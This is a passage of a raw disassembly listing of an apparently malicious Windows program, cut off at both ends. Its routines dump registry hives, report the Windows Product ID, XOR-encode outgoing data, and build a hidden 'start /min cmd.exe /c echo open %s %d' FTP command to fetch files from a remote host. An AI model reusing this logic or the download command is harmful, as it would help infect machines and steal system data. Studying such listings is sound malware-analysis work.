		mov	dword ptr [esp+154h], 1
		call	sub_4017E4
		mov	ebp, dword_50F724
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_43581C
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	(offset	loc_446BBB+1)
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h


loc_43581C:				; CODE XREF: sub_4356F0+FCj
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 28F035Eh
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 2
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		push	80000002h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 3
		call	sub_4017E4
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_435904
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	(offset	loc_446BAF+1)
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h


loc_435904:				; CODE XREF: sub_4356F0+1E4j
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 28F035Eh
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 4
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		push	80000005h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 5
		call	sub_4017E4
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_4359EC
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	offset loc_446BA4
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h


loc_4359EC:				; CODE XREF: sub_4356F0+2CCj
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 28F035Eh
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 6
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		push	80000000h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 7
		call	sub_4017E4
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_435AD4
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	offset aHkcrS	; "HKCR: %s"
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h


loc_435AD4:				; CODE XREF: sub_4356F0+3B4j
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 28F035Eh
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+150h+var_128]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+158h+var_130], 80h
		call	sub_4011EA
		lea	ecx, [esp+148h+var_134]
		mov	[esp+148h+var_4], 8
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		push	80000003h
		call	edi
		lea	ecx, [esp+148h+var_128]
		mov	[esp+148h+var_4], ebx
		call	sub_401226
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+150h+var_128]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+148h+var_130]
		lea	edx, [esp+148h+var_10C]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	[esp+158h+var_4], 9
		call	sub_4017E4
		push	eax
		mov	eax, [esp+15Ch+var_134]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+148h+var_128]
		mov	[esp+148h+var_4], ebx
		setz	[esp+148h+var_135]
		call	sub_401226
		mov	al, [esp+148h+var_135]
		pop	ebp
		test	al, al
		jz	short loc_435BBD
		lea	ecx, [esp+144h+var_10C]
		push	ecx
		push	offset aHkuS	; "HKU:	%s"
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h


loc_435BBD:				; CODE XREF: sub_4356F0+49Dj
		mov	ecx, [esp+144h+var_134]
		push	ecx
		jmp	loc_435C61
; ---------------------------------------------------------------------------


loc_435BC7:				; CODE XREF: sub_4356F0+3Cj
		lea	ecx, [edi+32h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_435C67
		lea	edx, [esp+144h+var_12C]
		mov	[esp+144h+var_12C], eax
		push	edx
		push	20019h
		push	eax
		push	offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		mov	[esp+158h+var_110], 80h
		nop
		call	near ptr 292023Dh
		mov	edx, [esp+144h+var_12C]
		lea	eax, [esp+144h+var_110]
		lea	ecx, [esp+144h+var_8C]
		push	eax
		push	ecx
		push	0
		push	0
		push	offset aProductid ; "ProductId"
		push	edx
		nop
		call	near ptr 28D0000h
		test	eax, eax
		jnz	short loc_435C5C
		lea	eax, [esp+144h+var_8C]
		lea	ecx, [esi+69h]
		push	eax
		push	offset aFoundWindowsPr ; "Found	Windows	Product	ID (%s)."
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 18h


loc_435C5C:				; CODE XREF: sub_4356F0+539j
		mov	eax, [esp+144h+var_12C]
		push	eax


loc_435C61:				; CODE XREF: sub_4356F0+4D2j
		nop
		call	near ptr 28F035Eh


loc_435C67:				; CODE XREF: sub_4356F0+4E9j
		mov	ecx, [esp+144h+var_C]
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 138h
		retn	4
sub_4356F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 170h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_435E00	proc near		; CODE XREF: sub_401334j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		test	esi, esi
		jle	short loc_435E1D
		mov	cl, [esp+4+arg_8]
		mov	edx, [esp+4+arg_0]


loc_435E13:				; CODE XREF: sub_435E00+1Bj
		cmp	[eax+edx], cl
		jz	short loc_435E21
		inc	eax
		cmp	eax, esi
		jl	short loc_435E13


loc_435E1D:				; CODE XREF: sub_435E00+9j
		pop	esi
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_435E21:				; CODE XREF: sub_435E00+16j
		pop	esi
		mov	al, 1
		retn
sub_435E00	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_435E40:				; CODE XREF: ___:00401429j
		push	ecx
		mov	eax, [esp+18h]
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	eax
		mov	dword ptr [esp+14h], 98h
		call	near ptr 71AB2B66h
		nop
		mov	ebx, [esp+1Ch]
		and	eax, 0FFFFh
		push	ebx
		mov	[esp+2Ch], eax
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, [esp+38h]
		mov	ecx, 6
		mov	esi, (offset loc_446BC7+1)
		mov	edi, edx
		rep movsd
		mov	ecx, [esp+30h]
		add	esp, 8
		mov	[eax+ebp], cl
		mov	[eax+ebp+1], ch
		mov	eax, [esp+34h]
		mov	ecx, [esp+2Ch]
		mov	[esp+1Ch], edx
		mov	[eax+ebp], cl
		mov	[eax+ebp+1], ch
		mov	cx, [esp+2Eh]
		mov	[eax+ebp+2], cl
		mov	[eax+ebp+3], ch
		mov	eax, [esp+38h]
		test	eax, eax
		jz	short loc_435EFC
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_435EFC:				; CODE XREF: ___:00435EF3j
		push	ebx
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+2Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+1Ch]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_435F3E:				; CODE XREF: ___:00435FB7j
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_435F7E
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_435F7E
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_435F7E
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_435FB9


loc_435F7E:				; CODE XREF: ___:00435F4Cj
					; ___:00435F5Cj ...
		mov	esi, [esp+28h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_435FB0


loc_435FA3:				; CODE XREF: ___:00435FAEj
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_435FA3


loc_435FB0:				; CODE XREF: ___:00435FA1j
		mov	edx, [esp+1Ch]
		mov	[edx+13h], cl
		jmp	short loc_435F3E
; ---------------------------------------------------------------------------


loc_435FB9:				; CODE XREF: ___:00435F7Cj
		mov	eax, [esp+28h]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+20h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+20h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_50FAC4
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4360A0:				; CODE XREF: ___:00401D61j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+28h]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	dword ptr [esp+10h], 98h
		repne scasb
		mov	eax, [esp+1Ch]
		not	ecx
		dec	ecx
		lea	ebx, [ecx+eax+1]
		push	ebx
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	ecx, 6
		mov	esi, (offset loc_446BC7+1)
		mov	edi, edx
		add	esp, 8
		rep movsd
		mov	esi, [esp+28h]
		or	ecx, 0FFFFFFFFh
		mov	edi, esi
		mov	[esp+18h], edx
		repne scasb
		mov	edx, [esp+1Ch]
		not	ecx
		mov	eax, ecx
		lea	edi, [edx+ebp-2]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [esp+2Ch]
		and	ecx, 3
		test	eax, eax
		rep movsb
		jz	short loc_436152
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_436152:				; CODE XREF: ___:00436149j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+2Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+18h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_436194:				; CODE XREF: ___:0043620Dj
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4361D4
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4361D4
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4361D4
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_43620F


loc_4361D4:				; CODE XREF: ___:004361A2j
					; ___:004361B2j ...
		mov	esi, [esp+28h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_436206


loc_4361F9:				; CODE XREF: ___:00436204j
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_4361F9


loc_436206:				; CODE XREF: ___:004361F7j
		mov	edx, [esp+18h]
		mov	[edx+13h], cl
		jmp	short loc_436194
; ---------------------------------------------------------------------------


loc_43620F:				; CODE XREF: ___:004361D2j
		mov	eax, [esp+28h]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+1Ch]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+1Ch]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_50FAC4
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_436300:				; CODE XREF: ___:00401FE1j
		mov	eax, 200Ch
		call	sub_436840
		mov	eax, [esp+2028h]
		mov	ecx, [esp+202Ch]
		push	ebx
		mov	edx, [esp+2028h]
		push	ebp
		push	esi
		push	edi
		push	eax
		push	eax
		mov	eax, [esp+2048h]
		push	eax
		mov	eax, [esp+203Ch]
		push	ecx
		push	edx
		push	eax
		lea	ecx, [esp+34h]
		push	offset aStartMinCmd_ex ; "start	/min cmd.exe /c	\"echo open %s %d "...
		push	ecx
		mov	dword ptr [esp+34h], 98h
		nop
		call	sub_5EA1BD
		lea	edi, [esp+3Ch]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	edx, [esp+2044h]
		repne scasb
		not	ecx
		dec	ecx
		lea	ebx, [ecx+edx+1]
		push	ebx
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+2044h]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	ecx, 6
		mov	esi, (offset loc_446BC7+1)
		mov	edi, edx
		add	esp, 28h
		rep movsd
		lea	edi, [esp+1Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	[esp+10h], edx
		mov	edx, [esp+2024h]
		not	ecx
		mov	eax, ecx
		lea	esi, [esp+1Ch]
		lea	edi, [edx+ebp-2]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [esp+2044h]
		and	ecx, 3
		test	eax, eax
		rep movsb
		jz	short loc_436402
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_436402:				; CODE XREF: ___:004363F9j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+1Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_436444:				; CODE XREF: ___:004364BDj
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_436484
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_436484
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_436484
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4364BF


loc_436484:				; CODE XREF: ___:00436452j
					; ___:00436462j ...
		mov	esi, [esp+18h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+14h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+14h], ecx
		jle	short loc_4364B6


loc_4364A9:				; CODE XREF: ___:004364B4j
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_4364A9


loc_4364B6:				; CODE XREF: ___:004364A7j
		mov	edx, [esp+10h]
		mov	[edx+13h], cl
		jmp	short loc_436444
; ---------------------------------------------------------------------------


loc_4364BF:				; CODE XREF: ___:00436482j
		mov	eax, [esp+18h]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+2030h]
		mov	edx, [esp+202Ch]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+14h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+14h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_50FAC4
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 200Ch
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4365C0:				; CODE XREF: ___:00401910j
		push	ecx
		push	ebx
		mov	ebx, [esp+10h]
		push	ebp
		push	esi
		push	edi
		push	ebx
		mov	dword ptr [esp+14h], 98h
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, [esp+30h]
		add	esp, 8
		mov	ecx, 6
		mov	esi, (offset loc_446BC7+1)
		mov	edi, edx
		mov	[esp+1Ch], edx
		test	eax, eax
		rep movsd
		jz	short loc_43663D
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_43663D:				; CODE XREF: ___:00436634j
		push	ebx
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+1Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+1Ch]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_43667F:				; CODE XREF: ___:004366F8j
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4366BF
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4366BF
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4366BF
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4366FA


loc_4366BF:				; CODE XREF: ___:0043668Dj
					; ___:0043669Dj ...
		mov	esi, [esp+18h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_4366F1


loc_4366E4:				; CODE XREF: ___:004366EFj
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_4366E4


loc_4366F1:				; CODE XREF: ___:004366E2j
		mov	edx, [esp+1Ch]
		mov	[edx+13h], cl
		jmp	short loc_43667F
; ---------------------------------------------------------------------------


loc_4366FA:				; CODE XREF: ___:004366BDj
		mov	eax, [esp+18h]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+20h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+20h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_50FAC4
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 68h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4367C8	proc near		; CODE XREF: SEH_4034E0+5j
					; SEH_4036D0+5j ...
		nop
		jmp	near ptr 77C227FAh
sub_4367C8	endp

; ---------------------------------------------------------------------------
		align 10h
dword_4367D0	dd 7FF738E9h, 3DE94677h, 88777E57h, 7F2BE6E9h					; ___:0043E018o ...
		db 77h,	79h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4367E2	proc near		; CODE XREF: ___:00406BE0p
					; sub_406C00+11p ...
		nop
		jmp	near ptr 77C29CDDh
sub_4367E2	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0A2h, 12h
		dd 6DE97781h, 0A4778114h, 14EBE990h
		db 81h,	77h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4367FA	proc near		; CODE XREF: sub_406C30+47p
					; ___:00406CCAp ...
		nop
		jmp	near ptr 77C29CC5h
sub_4367FA	endp

; ---------------------------------------------------------------------------
dword_436800	dd 7EACE2E9h, 0C18BE377h, 0E1D400C7h, 4C20043h,	0F18B5600h
		dd 3B3E8h, 2444F600h, 7740108h,	0FFBCE856h, 8B59FFFFh
		dd 4C25EC6h, 0C2C18B00h
		db 4, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436832	proc near		; CODE XREF: sub_409580+4Dp
					; ___:0040A99Dp
		nop
		jmp	near ptr 77C226F6h
sub_436832	endp

; ---------------------------------------------------------------------------
		dd 80974DE9h, 0CCCC7477h

; =============== S U B	R O U T	I N E =======================================



sub_436840	proc near		; CODE XREF: sub_40A030+5p
					; sub_40FF60+1Ap ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_436860


loc_43684C:				; CODE XREF: sub_436840+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_43684C


loc_436860:				; CODE XREF: sub_436840+Aj
		sub	ecx, eax
		mov	eax, esp
